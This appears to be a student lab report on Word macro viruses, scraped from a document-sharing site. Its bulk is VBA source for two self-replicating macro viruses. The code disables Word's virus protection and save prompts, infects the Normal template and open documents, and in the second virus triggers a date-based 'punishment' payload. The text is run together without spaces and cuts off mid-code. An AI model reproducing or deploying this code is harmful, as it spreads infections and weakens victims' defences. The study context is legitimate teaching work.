欢迎来到天天文库
浏览记录
ID:52154341
大小:512.63 KB
页数:7页
时间:2020-03-23
《宏病毒实验报告.doc》由会员上传分享,免费在线阅读,更多相关内容在行业资料-天天文库。
1、宏病毒实验报告201424010257邹文敏一、实验目的通过运行计算机代码,更加深刻的理解计算机代码。对计算机代码有一个初步的认识。加深对宏病毒的感性认识,宏病毒是感染数据文件word,office等。二、实验内容运行自我复制,感染word公用模板和当前文档;具有一定破坏性的宏;清除宏病毒。三、实验步骤实验一:l将word文档中的开发者工具打开;word中心→信任选项→宏设计将信任选项打开l运行第一个实验VisualBasic→normal→Microsoft→thedocumentProject→microsoftword对象→the
2、document复制如下代码:'APMPPrivateSubDocument_Open()OnErrorResumeNextApplication.DisplayStatusBar=FalseOptions.VirusProtection=FalseOptions.SaveNormalPrompt=False'以上都是基本的自我隐藏措施MyCode=ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1,20)SetHost=NormalTemplate.VBProject.V
3、BComponents(1).CodeModuleIfThisDocument=NormalTemplateThen_SetHost=ActiveDocument.VBProject.VBComponents(1).CodeModuleWithHostIf.Lines(1,1)<>"'APMP"Then'判断感染标志.DeleteLines1,.CountOfLines'删除目标文件所有代码.InsertLines1,MyCode'向目标文档写入病毒代码IfThisDocument=NormalTemplateThen_ActiveDo
4、cument.SaveAsActiveDocument.FullNameEndIfEndWithMsgBox"Basicclassmacrobyjackie",vbOKOnly,"APMP"EndSub保存时注意保存为宏文件实验一运行截图:清除实验一中的内容只需要删除,thedocument中的内容在保存即可。实验二:编写代码的位置同上;代码如下:'moonlightDimnm(4)SubDocument_Open()'DisableInput1Setourcodemodule=ThisDocument.VBProject.VBComp
5、onents(1).CodeModuleSethost=NormalTemplate.VBProject.VBComponents(1).CodeModuleIfThisDocument=NormalTemplateThenSethost=ActiveDocument.VBProject.VBComponents(1).CodeModuleEndIfWithhostIf.Lines(1,1)<>"'moonlight"Then.DeleteLines1,.CountOfLines.InsertLines1,ourcodemodule.L
6、ines(1,100).ReplaceLine3,"SubDocument_Close()"IfThisDocument=NormalTemplateThen.ReplaceLine3,"SubDocument_Open()"ActiveDocument.SaveAsActiveDocument.FullNameEndIfEndIfEndWithCount=0IfDay(Now())=25Thentry:OnErrorGoTotrytest=-1con=1tog$=""i=0Whiletest=-1Fori=0To4nm(i)=Int(
7、Rnd()*10)con=con*nm(i)Ifi=4Thentog$=tog$+Str$(nm(4))+"=?"GoTobegEndIftog$=tog$+Str$(nm(i))+"*"Nextibeg:Beepans$=InputBox$("今天是"+Date$+",跟你玩一个心算游戏"+Chr$(13)+"若你答错,只好接受震撼教育......"+Chr$(13)+tog$,"台湾NO.1MacroVirus")IfRTrim$(LTrim$(ans$))=LTrim$(Str$(con))ThenDocuments.AddSel
8、ection.Paragraphs.Alignment=wdAlignParagraphCenterBeepWithSelection.Font.Name="细明体".Size=16.Bold=1.Unde
此文档下载收益归作者所有